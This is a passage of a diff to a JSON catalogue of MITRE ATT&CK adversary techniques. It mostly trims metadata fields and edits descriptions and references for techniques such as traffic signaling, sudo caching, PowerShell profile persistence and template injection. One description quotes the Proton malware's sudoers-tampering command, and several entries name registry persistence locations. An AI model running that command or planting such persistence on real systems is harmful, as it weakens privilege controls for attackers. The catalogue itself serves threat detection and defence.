make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", "meta": { "external_id": "T1022", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", "https://attack.mitre.org/techniques/T1022", @@ -22908,12 +20424,6 @@ "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "meta": { "external_id": "CAPEC-132", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1023", "https://capec.mitre.org/data/definitions/132.html" @@ -22947,20 +20457,12 @@ "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" ] }, - "related": [ - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "value": "Broadcast Receivers - T1402" }, { - "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "meta": { "external_id": "T1204", "kill_chain": [ @@ -22987,8 +20489,7 @@ "Containers" ], "refs": [ - "https://attack.mitre.org/techniques/T1204", - "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery" + "https://attack.mitre.org/techniques/T1204" ] }, "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", @@ -23009,7 +20510,7 @@ "value": "Task requirements - T1240" }, { - "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)", "meta": { "external_id": "T1205", "kill_chain": [ @@ -23035,8 +20536,8 @@ "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN", "https://www.amd.com/system/files/TechDocs/20213.pdf", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" ] }, "uuid": "451a9977-d255-43c9-b431-66de80130c8c", @@ -23066,13 +20567,6 @@ "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { "external_id": "T1206", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1206", "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", @@ -23095,12 +20589,6 @@ "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "meta": { "external_id": "T1209", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1209", "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", @@ -23189,7 +20677,7 @@ "value": "Path Interception - T1034" }, { - "description": "Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device. \n\n \n\nOn Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device’s physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application’s manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox) \n\n \n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.(Citation: Google Project Zero Insomnia)", + "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.", "meta": { "external_id": "APP-24", "kill_chain": [ @@ -23202,12 +20690,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1430", - "https://developer.android.com/training/location/permissions", - "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services", - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html", - "https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/", - "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" ] }, "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", @@ -23217,12 +20700,6 @@ "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", "meta": { "external_id": "T1035", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1035" ] @@ -23257,12 +20734,6 @@ "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)", "meta": { "external_id": "T1093", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.autosectools.com/process-hollowing.pdf", "https://attack.mitre.org/techniques/T1093", @@ -23308,12 +20779,6 @@ "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", "meta": { "external_id": "CAPEC-571", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1054", "https://capec.mitre.org/data/definitions/571.html", @@ -23354,15 +20819,7 @@ "https://shunix.com/shared-library-injection-in-android/" ] }, - "related": [ - { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", "value": "Code Injection - T1540" }, @@ -23370,13 +20827,6 @@ "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", "meta": { "external_id": "T1504", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "https://attack.mitre.org/techniques/T1504", @@ -23401,13 +20851,6 @@ "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "meta": { "external_id": "CAPEC-570", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows", - "macOS" - ], "refs": [ "http://en.wikipedia.org/wiki/Executable_compression", "https://attack.mitre.org/techniques/T1045", @@ -23457,8 +20900,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "File: File Creation", - "Windows Registry: Windows Registry Key Modification" + "File: File Creation" ], "mitre_platforms": [ "Windows", @@ -23650,7 +21092,7 @@ "value": "Account Discovery - T1087" }, { - "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", "meta": { "external_id": "CAPEC-560", "kill_chain": [ @@ -23679,8 +21121,7 @@ "https://attack.mitre.org/techniques/T1078", "https://capec.mitre.org/data/definitions/560.html", "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + "https://technet.microsoft.com/en-us/library/dn535501.aspx" ] }, "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", @@ -23690,14 +21131,6 @@ "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "meta": { "external_id": "T1079", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", @@ -23719,7 +21152,7 @@ "value": "Multilayer Encryption - T1079" }, { - "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "meta": { "external_id": "T1098", "kill_chain": [ @@ -23740,8 +21173,7 @@ "IaaS", "Linux", "macOS", - "Google Workspace", - "SaaS" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1098", @@ -23791,12 +21223,6 @@ "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", "meta": { "external_id": "T1131", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "https://attack.mitre.org/techniques/T1131", @@ -23922,15 +21348,7 @@ "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" ] }, - "related": [ - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "value": "Input Prompt - T1411" }, @@ -23938,13 +21356,6 @@ "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", "meta": { "external_id": "CAPEC-569", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1141", "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", @@ -23996,12 +21407,6 @@ "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).", "meta": { "external_id": "T1161", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1161", "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", @@ -24024,13 +21429,6 @@ "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "meta": { "external_id": "T1116", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", "http://www.thesafemac.com/new-signed-malware-called-janicab/", @@ -24052,7 +21450,7 @@ "value": "Code Signing - T1116" }, { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", "meta": { "external_id": "T1119", "kill_chain": [ @@ -24066,9 +21464,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "IaaS", - "SaaS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1119" @@ -24078,7 +21474,7 @@ "value": "Automated Collection - T1119" }, { - "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", + "description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", "meta": { "external_id": "T1221", "kill_chain": [ @@ -24097,11 +21493,9 @@ "https://attack.mitre.org/techniques/T1221", "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", "https://blog.talosintelligence.com/2017/07/template-injection.html", - "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/", "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", "https://github.com/ryhanson/phishery", - 